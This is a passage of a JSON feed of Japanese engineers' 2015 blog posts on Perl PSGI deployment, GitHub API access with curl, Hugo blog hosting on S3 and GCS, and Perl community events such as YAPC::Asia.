GOOD。最後に感想を書くのに振り返りながら軽く読み直しましたが、改めて思ったのが本書に書かれている内容の幅が広すぎて著者は一体何者だ…という感想でした。また所々に書きましたが、共感できる箇所が本当に多くて読んでて面白かったし、自分と同じような体験が書籍として公の場に出たことが素直に喜ばしかったです。会社の中で呼ばれる「インフラ」といった内容は網羅されており、また間口が広い構成になっているのでインフラエンジニアに限らず気軽に読んでいただき、少しでもインフラというジャンルに興味を持っていただける人が増えればと願います。","link":"https://blog.jigyakkuma.org/2015/12/17/tanoshii-infra-impression/","isoDate":"2015-12-17T00:07:38.000Z","dateMiliSeconds":1450310858000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"#chibapm Chiba.pm#7に参加しました。","contentSnippet":"参加しました。雑なスライドですみません。スライド中に出てきてるやつはどれも五反田のお店で出てきます。五反田企業のガイアックスさんとかモバイルファクトリーさんはPerlの会社なので、美味しいごはんを食べたい人は検討してみてはいかがでしょうか。そういえば、Chiba.pmの開催回数がKichijoji.pm、Gotanda.pmに抜かされそうです。。","link":"https://blog.masasuzu.net/entry/2015/12/12/chiba.pm-7","isoDate":"2015-12-12T09:39:37.000Z","dateMiliSeconds":1449913177000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Plack/PSGIなwebアプリケーションの実行環境","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 11日目の記事です※ 投稿内容は私個人の意見であり、所属企業・部門見解ならびに技術戦略を代表するものではありません。昨日は@rymizukiさんのnpmライブラリの運用と管理についてでした。今日はPerlの話です。お仕事やプライベートでPerlのwebアプリケーションを書くことが多く、いろいろ知見が溜まってきてるので、ここで少し紹介しようと思います。今回はPlack/PSGIなwebアプリケーションの実行環境の話です。mod_perlなアプリケーションとはちょっとコンテキストが違います。少しかっちりコンテキストに近いです。個人で軽くwebアプリケーション立てるならもう少しゆるふわでも問題ないはずです。OSUbuntuのLTSを使うことが多いです。Ubuntu前提の内容が後に続きます。PerlSystem Perlは使ってません。OS/ディストリビューションが変わってもなるべくそのまま動くようにしたいためです。perl-buildで独自ビルドしたPerlを使います。インストール場所としては、 /usr/local/perl/perl-5.${VERSION} に置きます。Perlを独自ビルドしたものをDebian package化して実行環境にはインストールします。他の方法としては、ビルド済みのperlをtarで固めて、配布するというのもあります。どちらでも構わないのですが、ローカルネットワークにaptサーバ立てている関係で、Debian packageの方が運用しやすいのです。また、perlのマイナーバージョンアップの際もDebian packageを作り直した上で、 apt-get upgrade (or aptitude safe-upgrade)で完結するので、aptの操作に慣れていて楽というのもあります。モジュール管理今風にcpanfileでモジュール管理してます。モジュールインストールはCartonを使ってます。Cartonの後継でCarmelも開発されてます。個人的にはそろそろ触っておきたいところです。また、cpanfile.snapshotもレポジトリに入れています。一般的なモジュールは特定の(古い)バージョンに依存せずに動くべきですが、依存モジュールのバージョン違いによって現在動いているアプリケーションが壊れるのを防ぐために、バージョン固定します。cpanfile.snapshotがある状態で下記のように carton install してあげると、どの環境でも同じバージョンのモジュールがインストールされます。carton install --deployment --without develop,test今やってないですが、別方法としては、モジュールがインストール済みの状態で、 carton bundle すると vendar/ にモジュールのtarが固められるので、それもレポジトリ管理した上で、下記の様にインストールするという手もあります。インストールの際は vendor/bin/carton にfatpackされたcartonコマンドが入るのでそれを使います。(アプリ実行環境にcartonを敢えて入れる必要は無い)# 依存モジュールを固めるcarton bundle# インストール# env.shは後述./script/env.sh vendor/bin/carton install --cached --deployment --without develop,testさらに別方法としては、ビルドサーバで依存モジュールをビルドした上で、ディレクトリごと実行環境にrsyncしてあげる方法です。ビルドサーバを運用しているならば、この方法でも良いでしょう。参照Carton考2014carton bundle && carton install --cachedの使いどころ独自モジュールなるべく、独自モジュールは使わない方が良いのですが、個人的な事情などで、CPANに公開出来ないモジュールに関しては、OrePAN2 でDarkpanを作ってそこからローカルに配信するようにしてます。OrePAN2のサーバを簡単に立ち上げられるOrePAN2::Serverがありますが、一時期は使っていましたが、モジュールのアップロード機能は別にいらないなどの理由で今はwebサーバから静的配信してます。環境変数プロジェクトのレポジトリに config/env.rc という名前で、アプリケーションを動かすために必要な環境変数を定義したファイルを作ります。PERL5_VERSION=\\"22\\"export PROJECT_BASE=\\"/path/to/project\\"export PERL_CARTON_MIRROR=\\"http://orepan.local/\\"export PERL5LIB=\\"${PROJECT_BASE}/local/lib/perl5:${PROJECT_BASE}/lib\\"export PATH=\\"${PROJECT_BASE}/local/bin:/usr/local/perl/perl-5.${PERL5_VERSION}/bin:${PATH}\\"export PLACK_PORT=5555また、 script/env.sh という名前で config/env.rc を読み込んだ上で、プログラムを実行するラッパースクリプトを作ります。スクリプトなどは基本的にこれを通して実行します。#!/bin/bash -ue# 諸々環境変数を設定した上でコマンドを実行する君## env.sh perl hogehoge.pl#source /path/to/project/config/env.rcexec \\"$@\\"開発環境で、いちいちラッパースクリプト通すのが面倒な場合は、config/env.rc のsymlinkをプロジェクトルートに .envrc として張った上で、direnv使って済ましてしまう場合もあります。web サーバ起動スクリプトpsgiファイルを plackup するのではなく、こんな感じのスクリプトをscript/web みたいな名前で 用意してアプリケーションサーバを起動するようにしてます。#!/usr/bin/env perluse strict;use warnings;use lib \\"$ENV{PROJECT_BASE}/lib\\";use Plack::Loader;use SomeApplication::Config;use SomeApplication::Web::Handler;my $config = SomeApplication::Config->load();my $app = SomeApplication::Web->to_app();Plack::Loader->load( $config->{psgi}->{server}, %{ $config->{psgi}->{config} },)->run($app);また、このスクリプトをstart_serverを経由して起動することで、(graceful restartによる)ホットデプロイをできるようにしてます。start_server のプロセスにSIGHUPを送ると子プロセスのアプリケーションサーバを再起動してくれるのですが、 plackup コマンドで起動してると start_server に渡した引数をそのまま使ってplackup を再起動するので、 max_workers の数を変えたいときなど、 start_server 自体のプロセスを再起動しなくてはならないので不便です。なので、起動スクリプトを作ってます。そのほかにも理由があるのですが、参照リンクに詳しくあります。サーバ実装としては、StarletやGazelleを使ってます。参照PSGI/Plackアプリケーションの起動方法いろいろと本番環境アレコレ普通に使う Plack/PSGI ServerGraduate from .psgiデーモン管理現在はUpstartでアプリケーションサーバのデーモン管理してます。以下の理由で、個人的には好きでした(過去形)。最新のUbuntuはSystemdに変わってしまったので、将来的にはSystemdに移行することになるでしょう。Ubuntuに標準で入っていてサーバ起動時の自動起動してくれてデーモン異常終了時に自動再起動してくれて設定はわりかしわかりやすい/etc/init/web-some-application.conf みたいな名前でこんな設定ファイルを作りますdescription \'some web application\'author \'masasuzu \'start on runlevel [2345]stop on starting rc RUNLEVEL=[016]setuid webappsetgid webapp# 異常時に再起動するrespawnscript . /path/to/project/config/env.rc export PLACK_ENV=\\"production\\" exec ${PROJECT_BASE}/local/bin/start_server \\\\ --interval 10 \\\\ --port ${PLACK_PORT} \\\\ -- ${PROJECT_BASE}/script/service/webend script上記のファイルを作ると以下のように操作出来ます。reloadでSIGHUPが送れるので、アプリケーションサーバのstart_server経由のgraceful restartができます。# 起動service web-some-application start# 停止service web-some-application stop# (start_serverのプロセスごと)再起動service web-some-application restart# Plackサーバを再起動service web-some-application reloadアプリケーションサーバ以外も、ジョブのワーカーなども、独自に設定ファイルを作って、Upstart経由で起動したりしてます。Upstart以外の選択肢としては、先に挙げたSystemdの他、以下のものがあるでしょう。好みと要件に合わせて使えば良いと思います。daemontoolsSuvpervisordSystemd参照Server::Starterから学ぶhot deployの仕組みServer::Starter の --interval オプションは大切Upstart を使ってお手軽 daemon 化Upstart Intro, Cookbook and Best PractisesおわりにWAF(Web Application Framework)やログの話など膨らまそうと思えばもっと膨らませられますが、実行環境の話なので、ここまでで抑えておきます。ざっくりと、Plack/PSGIなアプリケーションの実行環境について説明してきました。PerlでWebアプリケーションを作る時に何か参考になれば幸いです。また、もっと良い方法があれば、教えていただけるとありがたいです。明日は、@nekobato さんです webpackのなにか面白い話があるんじゃないかとわくどきしてます。","link":"https://blog.masasuzu.net/entry/2015/12/11/plack-psgi-exec-env","isoDate":"2015-12-11T04:30:00.000Z","dateMiliSeconds":1449808200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Github APIを使おう","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 4日目の記事です今日は、Github APIの話です。Githubの管理作業は他のWebサービスと同じく基本Webコンソールでできます。ただ、Organizationとかを管理してる場合、ある程度以上規模が大きくなると、定型的な管理作業が増えて、Webでぽちぽちやるには煩雑でつらくなってきます。ここで怠惰エンジニア*1はどうにかこの定型作業を自動化/スクリプト化できないかなと考え始めます。幸い、GithubにはAPIがあるので、これを利用して要件に合わせて、実装することができます。ドキュメントは以下の場所にあるので、各APIの使い方などはそちらを参照してください。GitHub API v3 | GitHub Developer Guideapiアクセスを投げるpublicな情報を取得するには普通にcurlでGET発行するだけで、取得出来ます。curl https://api.github.com/users/masasuzu/reposが、これだけでは、privateな情報にアクセスできません。ので、Basic認証をしてアクセスをします。curl -u ${USER}:${PASSWORD} https://api.github.com/orgs/some_privete/reposただ、この場合、このアカウントで出来ることが全て実行出来てしまうので、下記のリンクからアクセストークンを発行して、権限を絞ってAPIにアクセスするのが望ましいです。アクセストークンは作成時にしか見れないので、ちゃんと書き留めておくようにしましょう。Personal access tokensアクセストークンを使用した場合、下記の3つの方法で認証出来ます。curl -u :${ACCESS_TOKEN} https://api.github.com/orgs/some_privete/reposcurl -H \'Authorization: token ${ACCESS_TOKEN}\' https://api.github.com/orgs/some_privete/reposcurl \'https://api.github.com/orgs/some_private/repos?access_token=${ACCESS_TOKEN}\'ドキュメントに各API発行に必要なscope(権限)が書いてあるので必要なscopeだけ付与してあげると良いです。perlでの選択肢今までで、APIアクセスする手段を得ることはできましたが、シェルスクリプトで処理を組み立てるのは、無謀なので、使い慣れてるプログラミング言語で実装したいところです。当社ではPerlを使い慣れてるエンジニアが多いので、ここではPerlのクライアントを紹介します。現在のところ以下の2つの選択肢があります。PithubNet::Github私はPithubを使っています。使い始めた時期においてPithubの方が更新されてそうだったからです。が、今見るとNet::Githubも更新されてるように見えます。他の言語での選択肢特にプログラミング言語にこだわりが無いのであれば、githubがメンテナンスしてるoctokitを使うと良いと思います。RubyとObjective C、.Netに対応してます。たぶん鉄板だと思います。(しかし、octokitのこのサンライズというかバンダイに怒られそうなデザインは大丈夫なのでしょうか?まとめ煩雑で定型的な作業はGithub APIで自動化すると良いPrivateな情報の操作はアクセストークンを発行してAPIを発行するPerlにはPithubとNet::Githubのクライアントライブラリがあるこだわりがなければ、クライアントはoctokit使うと良い明日は、 @mihyaeru21 さんです。iOS回りの面白いエントリが見れそうです。*1:プログラマの3大美徳の1つ","link":"https://blog.masasuzu.net/entry/2015/12/04/use_github_api","isoDate":"2015-12-04T14:47:44.000Z","dateMiliSeconds":1449240464000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"GCPUG Shonan vol.0 に参加してきた","contentSnippet":"タイトルの通り、GCPUG が湘南(今回は茅ヶ崎)で開催されるということでお邪魔してきました。まずは開催いただきましたスタッフの皆様ありがとうございました！AIZAC 様もありがとうございました！ロケーションが最高でした。GCPUGに来た pic.twitter.com/lkfEXWj1kC— jigyakkuma (@jigyakkuma_) November 29, 2015行く前は GCPUG の趣旨がはっきりとわかっていませんでしたが、大規模な勉強会というよりかは小規模で対話しながら参加者に理解を深めてもらうといったイベントでした(今回はハンズオン)。作業環境準備まずはじめに作業環境の準備をしましたが、Developer Console の Cloud Shell を立ち上げるだけで終わった。Cloud Shellけっこう便利だし、今後使う機会が増えるかもと思ったのでポイントを整理Google Cloud Shellディストリビューションは Debian(確認した時点でバージョンは 8.2)ツール類が色々入ってる(Available tools)言語も色々入れてくれてる(Go は 1.5 が入ってた)(Language support)Docker on GCE作業用のインスタンスを立ち上げるインスタンスに ssh でつなぐDocker pull & runこの辺りでもいくつかポイントがあったOS 自体の機能がいらない用途なら軽量ディストリビューション Alpine linux の Docker image を使うのオススメインスタンスのメタデータをとってこれる API が用意されている(Storing and Retrieving Instance Metadata)Instance Metadata の詳細についてはハンズオンを行っていただいた大橋さんが後ほど記事にしてまとめてくださるそうなので楽しみに待ってます。その他Docker machine ちょっと触ってみたDocker コマンドの説明DockerHub の注意点Google Container Registryの紹介最後は懇親会でみんなでわいわいしました。ハンズオンの参加は初めてだったんですが、各人が手を動かしたり詰まったところを教え合ったりというのは参加者同士の距離も縮まり一体感があっていいなーと思いました。地元開催ということもあり微力ながら力添えが出来ればと思っておりますので今後も参加していこうかと思います。","link":"https://blog.jigyakkuma.org/2015/11/30/gcpug-shonan00/","isoDate":"2015-11-29T23:23:26.000Z","dateMiliSeconds":1448839406000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"blog の環境を Hugo + wercker + GCS にしてみた","contentSnippet":"Hugo + wercker + gcs にしてみた！とか言ってますが S3 使ってたのを GCS に変えただけって話です。blogを参考にしていただけるといいかと思います。先日、GCS にデプロイする wercker のstepsを見つけ、早速試してみたのですがうまくいかず。werckerでGCSにデプロイするやつ、なんかうまくいかないなーと思ってたけど.botoファイルをechoで作るときに-eオプション抜けてて改行が出来てなかったっていう初歩的ミスやった...— jigyakkuma (@jigyakkuma_) October 10, 2015というオマヌケなミスでした。以下が現時点で使用している wercker.yml です。これで作成したバケットにデプロイされるところまではよかったんですが、GCS の public 設定がよくわかんなーと思いながら調べてると参考になるblogがあったのでこちらを元に設定。ここをちゃんと読めば書いてそうなのであとで読もうかと思います…次はサイト監視したいなーと思うので、そのあたりで何にしようか検討中です。","link":"https://blog.jigyakkuma.org/2015/10/12/hugo_wercker_gcs/","isoDate":"2015-10-11T16:10:10.000Z","dateMiliSeconds":1444579810000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"AWS からのメールをいい感じに slack に通知するやつ","contentSnippet":"社内とある一言から話は始まった。awsのサポートから返信来たのslackにながしたいんだけどSNSで通知とかできないんだろうか— fujiwara (@fujiwara) September 16, 2015弊社の場合、AWS のアカウントを親アカウント+各プロジェクト毎のアカウント(常時 50 以上はある)といった形で運用しているので AWS SNS を各アカウントに設定するのしんどいのと深淵なる理由により Gmail で受信した AWS のメールを from でフィルタして転送というのもうまくいかなかったので GoogleAppsScript を書いた。これにトリガーを 1 分周期で回しておくといい感じに slack へメールを投げてくれる。こんな感じで通知がきます。やりたかったのはメールヘッダに[X-AMAZON-MAIL-RELAY-TYPE: notification]っていう丁度いい感じのカスタムヘッダがあったのでこれが来たら slack に投げるってのをやってます。社内が Slack になってからコミュニケーションツールであーだこーだすることが増えた気がしますが、作業環境が改善されていくのを体感できるのはけっこう楽しいのですね！[追記]ここの容量制限には[Gmail の読み取りと書き込み（送信以外）]で 50,000 個/日って書いてるけど、どこでひっかかってるんだ…https://docs.google.com/macros/dashboard","link":"https://blog.jigyakkuma.org/2015/09/18/aws-mail-forward/","isoDate":"2015-09-17T23:43:02.000Z","dateMiliSeconds":1442533382000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #6 でLTしてきました。","contentSnippet":"gotanda-pm.connpass.comGotanda.pmでLTしてきました。今回のテーマは障碍でした。半分ネタのトークです。JSTQB Foundation Level のシラバスに載っているソフトウェアテストの7原則をもじったやつです。JSTQB認定テスト技術者資格-シラバス（学習事項）・用語集-言ってみれば、サービスに対して継続的にテストするのが監視なのでテストに対する原則が監視に対しても言えるんじゃないかなーという軽い思いつきから生まれました。無理矢理な部分もありましたが、わりかし当てはまってる部分もあったのではないかと思いました。トーク中美味しいにおいがしてきてつらかったです。(このエントリは懇親会の前に書かれてます)#gotandapm 美味しそうなにおいがして辛い。。。。— masasuzu? (@masasuz) September 17, 2015ガイアックスさん会場提供ありがとうございました。","link":"https://blog.masasuzu.net/entry/2015/09/17/Gotanda.pm6","isoDate":"2015-09-17T12:14:35.000Z","dateMiliSeconds":1442492075000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#yapcasia YAPC::Asia 2015でボランティアスタッフしてきた","contentSnippet":"今年のYAPC::Asiaは終わった。つつがなく終わりました。過去のエントリを見直すと2011、2012年は書くのサボっていたみたいでした。私のYAPC::Asia初参加は2010年で6回目の参加でした。#yapcasia YAPC::Asia 2014でボランティアスタッフやってきました - 目の前に僕らの道があるmasasuzu.hatenablog.jp#yapcasia YAPC::Asia Tokyo 2013に参加してきました。 - 目の前に僕らの道があるmasasuzu.hatenablog.jpYAPC::Asia 2010へ行ってきたよ。 - 目の前に僕らの道があるmasasuzu.hatenablog.jp今年のYAPCとの関わり方は個人スポンサー+ボランティアスタッフとして参加しました。個人スポンサーとしては4年目、ボランティアスタッフとしては3年目でした。今年のYAPCもすごい楽しかったです。特にここ1,2年でPerl関係の人たちの知り合いがすごい増えたので、いろんな人と話ができてすごい楽しかったです。トークの方は例年スタッフ業をやっていると聞けないので、(会場にいてもスタッフのお仕事に意識が行くので内容を聞き取れてないことが多い)、動画が上がったら気になっていたトークを追いたいと思います。さて、だいたい6年前からWebで、Perlでお仕事するようになってからYAPCにはいろいろなものをもらってきました。だからこそ、ボランティアスタッフをやったり、個人スポンサーになって自分がもらったものを間接的に他の人に与えられたらいいなと思ってやってきました。自分がもらったものを他の人も受け取ってもらえたらなら良いなと思います。YAPC::Asiaはいったん終わります。それ自体いろいろ思うところがありますし、残念ではあります。YAPC::Asiaが無くなっても地域PMなどのPerlのコミュニティ自体が無くなるわけではないので私も細々とコミュニティ活動していきます。ただ、全国的にPerlな人が集まってくるイベントが今のところ来年無いのは寂しいところです。もしどこかで動きがあるならお手伝いさせていただければなと思います。YAPC::Asiaお疲れ様でした。(初日の懇親会の後の二次会でいろんな人に迷惑かけてしまったようなのでものすごく反省しています。すみません。お酒気を付けます。。。会期中のつぶやきいくつかおしゃれなカップだ #yapcasia pic.twitter.com/NwWw30i3HW— masasuzu? (@masasuz) August 22, 2015#yapcasia Perl6！ pic.twitter.com/2tJh6irctZ— masasuzu? (@masasuz) August 22, 2015#yapcasia 壇上から。お疲れさまでした！！ pic.twitter.com/1MiU56gE4R— masasuzu? (@masasuz) August 22, 2015","link":"https://blog.masasuzu.net/entry/2015/08/23/YAPC_Asia","isoDate":"2015-08-23T10:17:16.000Z","dateMiliSeconds":1440325036000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"YAPC::Asia2015 の所感と俺達のこれから","contentSnippet":"とうとう終わってしまった YAPC::Asia、全身全霊でもって楽しませていただきました。トークの振り返りYAPC::Asia2015 はスピーカーとして参加させていただき、貴重な体験をさせていただいたと共に登壇を通して少しでも YAPC::Asia に恩返しできたらという想いでした。YAPC::Asia2015 に登壇させていただいたからこそ感じられたことも合わせてご覧いただければと思います。YAPC::Asia の意義私の周りでよく聞いたり感じたのが「同窓会っぽい」ってとこです。雑感そういえば昨年も YAPC::Asia に参加させていただき、「次回は個人スポンサーとして参加します！！」みたいなことを言ってたのは宣言通り個人スポンサーチケットを購入できたのでそこはよかったです。これからのこと「カンファレンスに参加したいならやりたい人がやればいい！」とは思うものの、簡単にできるものではないし、主催者になりたいわけではないというのが本音ではある。最後にイベントや勉強会にはちょくちょく顔を出していますので見かけましたらお気軽にお声がけいただけると嬉しいです。一緒にわいわいしましょう！！謝辞運営スタッフ個人・企業スポンサースピーカーYAPC::Asia に参加された皆様YAPC::Asia2015 に関わった全ての皆様があってこそ最高のカンファレンスになりましたので末筆となりますが厚く御礼申し上げます。","link":"https://blog.jigyakkuma.org/2015/08/23/yapcasia2015_secondday/","isoDate":"2015-08-23T07:43:26.000Z","dateMiliSeconds":1440315806000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"YAPC::Asia2015 に登壇させていただいたからこそ感じられたこと","contentSnippet":"皆様YAPC 全体を通した感想は明日書くとして、ここでは最後の YAPC::Asia で登壇させていただいた貴重な機会について触れたいと思います。周りの応援振り返ってみると、ここまでこれたのは周りの応援あってこそだなーというのが実感としてありました。@Konboiさん、登壇前の応援や後にお声がけいただいた方々。登壇後の反応トークに足を運んでいただく方々に少しでも楽しんでいただきつつ役に立つ話が出来ればという心情で準備に取り組みました。登壇から見えたもの今回取り上げた取り組みでは不完全なところがあり、そこはしっかりと質疑応答で突っ込まれました。得るもの ＜ 与えるものとなるのが理想であるし、自身のトークがそうなっていなかったと後から気付いたところは非常に反省であると言えます。最後に大きなカンファレンスで一同がワイワイする機会ってそんなにないし、やっぱりみんなでワイワイするのは楽しい。余談Twitter アイコンのステッカー（ぱんつあり/ぱんつなし）を用意しましたのでもし受け取っていただける方はお声がけいただけばお渡しいたします！追記公式ページ URL とスライドは以下からご参照ください。YAPC::Asia2015 それは僕たちのドメイン・ DNS 運用","link":"https://blog.jigyakkuma.org/2015/08/22/yapcasia2015_firstday/","isoDate":"2015-08-21T15:39:14.000Z","dateMiliSeconds":1440171554000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"YAPC::Asia 2015 でドメイン・ DNS の運用について話します","contentSnippet":"いよいよ YAPC::Asia 2015 もいよいよ開催間近ですね。勢いだけでトークを応募させていただき、トーク採択という奇跡が起こって気絶しそうになったのがもう 2 ヶ月も前のこと。早いものですね。詳細については以下のリンクをご覧いただくのが早いかと思いますのでご興味ございましたらクリックをお願いいたします。http://yapcasia.org/2015/talk/show/e8eebd70-f906-11e4-8f91-8ab37d574c3aそれでは YAPC::Asia 2015 でお会いできることを楽しみにしております！！！！！がんばって資料仕上げます！！！！！！１","link":"https://blog.jigyakkuma.org/2015/08/18/yapcasia2015_intro/","isoDate":"2015-08-18T00:07:11.000Z","dateMiliSeconds":1439856431000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"blog の環境を Hugo + wercker + s3 にしてみた","contentSnippet":"最近 CI を触る機会があるというのとGitHub Pagesの設定をいじっていたら名前解決のところのトラブルでイライラしたのでAWS S3に乗り換えたというメモです。まずは手前で使う CI ですが、Hugo との組み合わせで割と使ってる事例が多いって安直な理由でとりあえずwerckerを使ってみることにしました。参考記事としてdeeeet さんの記事をめちゃ読みました。ほんと先人には感謝ですね。m0t0k1ch1 さんの記事も参考にさせていただいております。blog を octopress から Hugo に乗り換えたメモなので興味がございましたらこちらもご覧ください。それでは各項目で何をしたかザッと書いていきます。準備リポジトリまずリポジトリですが、元となる md ファイルをオープンにしたくなかったのでbitbucketのプライベートリポジトリを使うことにしました。ディレクトリ構成はこんな感じです。.├── archetypes //md ファイルのフォーマット├── config.toml //Theme の設定ファイル├── content│\xa0\xa0 └── post //md ファイル├── public //Hugo で build したファイルが置かれる、リポジトリで管理しないので ignore してる├── static //画像もろもろ│\xa0\xa0 ├── assets│\xa0\xa0 └── images│ └── post //記事に使う画像置き場├─── themes //好きな theme を git submodule で配置└─── wercker.ymlHugoCI 回すまでは手動で build して public ディレクトリに出来た生成物を GitHub Pages 用リポジトリに push するみたいなのやってました。今は新しい記事の作成とローカルで記事のプレビューに使ってるくらいです。wercker冒頭でも書きましたがwerckerを今回は使っています。CircleCIでもよかったのですが、こちらは業務で使う機会があったというのもあり採択しませんでした。それでは wercker の準備ですが、サクッと SignUp したらApplicationsから Application を作っちゃいます。注意点としては筆者の wercker.yml で指定している box は docker 用ではないので「Docker enabled. See our stacks documentation for more details.」のチェックは入れないようにします。GitHubやbitbucketだとリポジトリの指定も簡単だし、deploy key を入れてリポジトリにアクセスできるようにしてくれるので便利。あとは用意した wercker.yml をリポジトリに突っ込みます。以下が用意した yml です。他の CI もそうですが yml 見ればどの CI 使ってるのかがわかっていいですね。box や step はExploreにいろいろ置かれているので必要なものを組み合わせればすぐに使い始められて便利。AWS S3普段 AWS を使ってないのであれば AWS アカウントから作成するのは少々手間ですね…（筆者も今回のために個人の AWS アカウントを作りました）S3 でドメインと同名の bucket を作成、site の hosting を有効にして index document:index.html にしておく作成した bucket に deploy するための IAM アカウントを作成するdeploy できる権限の policy を作成する作成した IAM アカウントに作成した deploy 用 policy をアタッチするとなります。ちなみに IAM でアカウントを作成した際に ID と SECRET が発行されますが、これは wercker に設定するので控えておきます（後ほどでも ID/SECRET は発行できます）。DNSS3 で bucket を作成すると endpoint が表示されるのでそちらに向け先を変えておく。仕上げここまでが下準備となります。ここからは準備したものを流れに沿って設定していきます。werckerApplication > Setting > Environment variablesより、wercker.yml で使う環境変数を設定します。KEY,SECRET は AWS の IAM アカウント作成時に発行した ID/SECRET を入れます。次は Deploy targets を設定します。HerokuやOpenShiftであれば API Key や Token を入れるだけでよしなに Deploy してくれるようですが、それ以外の場合は yml にて Deploy の step でどうにかする感じです。Build が成功すると「Deploy to」というのが出てきて deploy 先を選択しないと deploy されないので target 名と branch を入れて deploy 先を作っておく。後はリポジトリに md ファイルを push してやれば自動で blog に投稿できる！！！！！という算段です。AWS S3を使用したのですが、最終的にはGoogle Cloud Storageに移行したいので GCS 用 step 作ろうかとは思ってます。","link":"https://blog.jigyakkuma.org/2015/08/06/hugo_wercker_s3/","isoDate":"2015-08-06T00:10:22.000Z","dateMiliSeconds":1438819822000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"#kichijojipm 吉祥寺.pmでLTしてきた","contentSnippet":"吉祥寺.pm (kichijojipm) #4 : ATNDatnd.org今回はPerlとPerl以外ということで、Perlの外の世界をつないでるもので一番最初に思いついたのがテンプレートエンジンだったので今回の発表になりました。自分のテンプレートの利用シーンは設定ファイルの自動生成ですね。テンプレートがあることで手作業で設定ファイルをいじる必要が基本的にはないので、手作業に起因ミスがないのが良いですよね。そのほかくりかえしの記述が必要なものもテンプレート使うと便利な場面が多いと思います。前回のLTが長すぎたので、真姫進行で行ったら、巻きすぎてしまいました。時間配分難しい。#kichijojipm 真姫すぎた。。— masasuzu? (@masasuz) July 10, 2015#kichijojipm 巻きすぎた。。— masasuzu? (@masasuz) July 10, 2015懇親会のお店はおしゃれな感じでさすが吉祥寺という感じでした。五反田とは違う。#kichijojipm 炙りマカレル pic.twitter.com/wpJTTnIvZF— masasuzu? (@masasuz) July 10, 2015他の人のスライドはこちらページからたどれると思います。吉祥寺.pm4終わりました - kichijojipm’s blogkichijojipm.hatenablog.com今回の吉祥寺.pmも楽しかったです。次回も参加したいです。余談1今回のKeynoteはAzusa Colorsを元にスライドを作りました。だいぶ良い感じにできました。ありがたいです。茜屋さんのイメージカラーのパープルを基調にしています。http://memo.sanographix.net/post/113681262780memo.sanographix.net余談2LTの途中で宣伝してましたが、五反田のモバイルファクトリーさんで7/31にCrystalの勉強会やるしいですよ。東京 Crystal 勉強会 #1 in 五反田 (2015/07/31 19:30〜)crystal.connpass.comGotandaは今技術的に熱い街です。そのほかGotanda.pmや五反田Perlみたいな勉強会も様々行われてます。","link":"https://blog.masasuzu.net/entry/2015/07/12/122011","isoDate":"2015-07-12T03:20:11.000Z","dateMiliSeconds":1436671211000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"gyagoyle という Gyazo クライアント作りました","contentSnippet":"gyagoyle 〜 Gyazo client for linux 〜必要に駆られたので作ってみました。jigyakkuma/gyagoyle本家のクライアントツールが Ruby で用意されていたのと、会社で使っている社内 Gyazo のクライアント用によしなに設定したかった(Basic 認証もかかっている関係)ので作りました。mattnさんがすでに同名で作成されてたのでちょっと困りましたね…おぞましい石像に進化した」という感じです。機能はGyazo-for-Linuxを参考にひと通り実装しております(したつもり)。go get で取ってきて実行すれば gyazo.com に upload できるように作ってあるので通常用途でも問題なく使えるようにしました。まだまだ go の書き方や機能部分でイケてないところもあるかと思いますのでご指南いただけますと非常に嬉しく思います。これからもどんどんgo書くぞー","link":"https://blog.jigyakkuma.org/2015/07/09/gyagoyle/","isoDate":"2015-07-08T15:08:31.000Z","dateMiliSeconds":1436368111000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"2015年第二 四半期をふりかえる","contentSnippet":"7月にとうとうなりました。ざっくりふり返ります。お仕事mod_perl to PSGI/Plackこの四半期のメインタスクでした。弊社2事業部あるんですが、そのうちの片方の事業部のmod_perlアプリをPSGI/Plack化しました。後は事業部の人がちゃんとテストして、本番反映するだけです。もう一個の事業部のmod_perlアプリケーションは次の四半期に取りかかる予定です。雑感としては、mod_perl特有の機能はほぼ使ってないので、そんなに辛くは無かったです。どちらかというと、使っているモジュールが古すぎたり、SledgeのPlugin地獄だったりしてアプリの実装の方でちょこちょこはまることが多かったです。このあたりの話です。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前に僕らの道があるmasasuzu.hatenablog.jpGitbucket地味にアップデートが出る度に追従してました。しかしながら、そこそこでかいレポジトリをGitbucketで管理するのはだいぶつらいことが見えてきました。まず、レポジトリブラウザが鬼のように重い。1日数10コミットするようなレポジトリだとまともに使えないので、ちょっと移行先を考えてます。Elasticsearch + Kibana4Kibana4入れました。Kibana3もまだ稼働中ですが、Kibana4で十分かなという気分です。Kibana4はすごい便利なので、そのあたりの話もどこかで一度したいです。開発環境の改善OrePAN2::Serverを廃止して、社内モジュールは静的サーバ置いたり、一つサーバでマルチユーザが同居するようなレガシーな開発環境の改善とかもろもろやってました。この辺もあとでエントリ書きたいところ。新卒技術者のメンタリング新卒技術者に対して仕事外で困ってる事とかのお悩みの相談乗ったり、成長を促すお手伝いをしたいたりします。会社としてもメンター制度できたばっかりで、組織的にも自分的にもいろいろ手探り感があるのは確かです。自分が見ている人はかなり優秀で日々成長が見て取れるので、そこをさらに促せるようにしていけたらと思います。書いた記事こう見るとあまりエントリ残してないですね。もう少し書きたいところ。4月勉強会#kichijojipm 吉祥寺.pm #3 に参加してきました。 - 目の前に僕らの道がある技術ubuntu12.04でruby2.2.1のビルド失敗するのはlibffi-devが入ってないから - ふり返る暇なんて無いね$PATHを見やすく表示したい - ふり返る暇なんて無いね5月技術ポートが空いてるか調べたいとき - ふり返る暇なんて無いねサーバ起動時に/etc/init.d/ 